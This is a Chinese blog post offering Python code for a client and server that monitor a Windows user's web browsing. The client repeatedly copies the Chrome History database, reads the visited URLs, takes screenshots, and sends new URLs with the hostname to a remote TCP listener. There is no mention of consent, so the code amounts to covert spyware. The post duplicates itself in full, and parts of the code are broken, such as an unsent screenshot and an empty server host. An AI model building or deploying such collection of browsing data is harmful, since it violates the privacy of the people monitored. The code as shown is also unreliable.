监控网页浏览内容
2018-03-02 12:30
197 查看
思路:
不断chrom的历史记录,得到浏览内容,如果不在限定范围,则发送截图和url给服务器
服务器端#!/usr/bin/env python
# coding:utf-8
import socket
import time
def handle_request(client):
buf = client.recv(1024)
print(buf)
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 1234))
sock.listen(5)
while True:
connection, address = sock.accept()
handle_request(connection)
connection.close()
if __name__ == '__main__':
main()
客户端import os,shutil
import socket
import sqlite3
import time
from PIL import ImageGrab
class history_query():
def __init__(self):
self.url_set = set()
self.key = '####'
self.hostname = socket.gethostname()
# 根据主机名称获取当前IP
self.host = socket.gethostbyname(socket.gethostname())
#访问浏览记录,并进行分析
def query(self):
data_path = r'C:\Users\favomj\AppData\Local\Google\Chrome\User Data\Default'
files = os.listdir(data_path)
history_db = os.path.join(data_path, 'history')
dstfile = 'D:/history'
shutil.copyfile(history_db, dstfile)
# querying the db
c = sqlite3.connect(dstfile)
cursor = c.cursor()
select_statement = "SELECT urls.url,urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
cursor.execute(select_statement)
#col_name_list = [tuple[0] for tuple in cursor.description] 字段
results = cursor.fetchall() # tuple
flag = 0
for url, count in results:
if self.key not in url and url not in self.url_set:
self.url_set.add(url)
im = self.ScressGrap()
# im.show()
self.send_msg_to_server(url)
if flag == 0 :
self.send_msg_to_server('200')
#当前屏幕截图
def ScressGrap(self):
im = ImageGrab.grab()
return im
#发送给服务器
def send_msg_to_server(self,msg):
#加上本机ip 以进行区分
host = ""
port = 1234
buf_size = 1024
addr = (host, port)
if len(msg) > 0:
tcp_client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_client_sock.connect(addr)
info = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time())) + ' from ' + socket.gethostname() + ':'
tcp_client_sock.sendall((info + msg).encode())
tcp_client_sock.close()
if __name__ == '__main__':
hq = history_query()
while True:
hq.query()
time.sleep(3)
不断chrom的历史记录,得到浏览内容,如果不在限定范围,则发送截图和url给服务器
服务器端#!/usr/bin/env python
# coding:utf-8
import socket
import time
def handle_request(client):
buf = client.recv(1024)
print(buf)
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 1234))
sock.listen(5)
while True:
connection, address = sock.accept()
handle_request(connection)
connection.close()
if __name__ == '__main__':
main()
客户端import os,shutil
import socket
import sqlite3
import time
from PIL import ImageGrab
class history_query():
def __init__(self):
self.url_set = set()
self.key = '####'
self.hostname = socket.gethostname()
# 根据主机名称获取当前IP
self.host = socket.gethostbyname(socket.gethostname())
#访问浏览记录,并进行分析
def query(self):
data_path = r'C:\Users\favomj\AppData\Local\Google\Chrome\User Data\Default'
files = os.listdir(data_path)
history_db = os.path.join(data_path, 'history')
dstfile = 'D:/history'
shutil.copyfile(history_db, dstfile)
# querying the db
c = sqlite3.connect(dstfile)
cursor = c.cursor()
select_statement = "SELECT urls.url,urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
cursor.execute(select_statement)
#col_name_list = [tuple[0] for tuple in cursor.description] 字段
results = cursor.fetchall() # tuple
flag = 0
for url, count in results:
if self.key not in url and url not in self.url_set:
self.url_set.add(url)
im = self.ScressGrap()
# im.show()
self.send_msg_to_server(url)
if flag == 0 :
self.send_msg_to_server('200')
#当前屏幕截图
def ScressGrap(self):
im = ImageGrab.grab()
return im
#发送给服务器
def send_msg_to_server(self,msg):
#加上本机ip 以进行区分
host = ""
port = 1234
buf_size = 1024
addr = (host, port)
if len(msg) > 0:
tcp_client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_client_sock.connect(addr)
info = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time())) + ' from ' + socket.gethostname() + ':'
tcp_client_sock.sendall((info + msg).encode())
tcp_client_sock.close()
if __name__ == '__main__':
hq = history_query()
while True:
hq.query()
time.sleep(3)
相关文章推荐
- Gzip压缩文件内容提高网页浏览速度(转自:http://www.funnyapple.com/gzip-compress-for-improving-web-speed.html)
- 监控网页内容,发现需要的内容后弹框和声音提醒
- 浏览网页访客和搜索引擎爬虫不同的Agent 内容
- 纯静态网页限制vip普通会员浏览观看视频文章内容次数苹果cms为例
- html乱码原因与网页乱码解决方法,浏览器浏览网页内容出现乱码符合解决篇
- Win7 32位用浏览器进行浏览网页时如何不用刷新就能看到最新的内容
- 网页中3D内容的浏览和拖曳
- 生成网站后,在浏览器中浏览时只能出现网页中的内容,不能与数据库相连接的部分?
- 浏览网页右键快速保存内容的小脚本
- 用wget浏览网页内容
- 浏览网页访客和搜索引擎爬虫不同的Agent 内容
- 制作一个主页背景图不动,但网页可以向下滚动浏览内容
- 微信浏览网页时内容被重新排版
- 给初学者:VB如何操作WEB页的浏览提交———五:如何对网页内容进行解析?
- 如何防止网页被植入广告,内容被监控-HTTPS
- 电脑上浏览手机版网页
- isa 2006 本机不能上网浏览网页
- DOM应用程序实时操作ie浏览器内容---遍历网页中的元素
- 解决lynx浏览中文网页乱码问题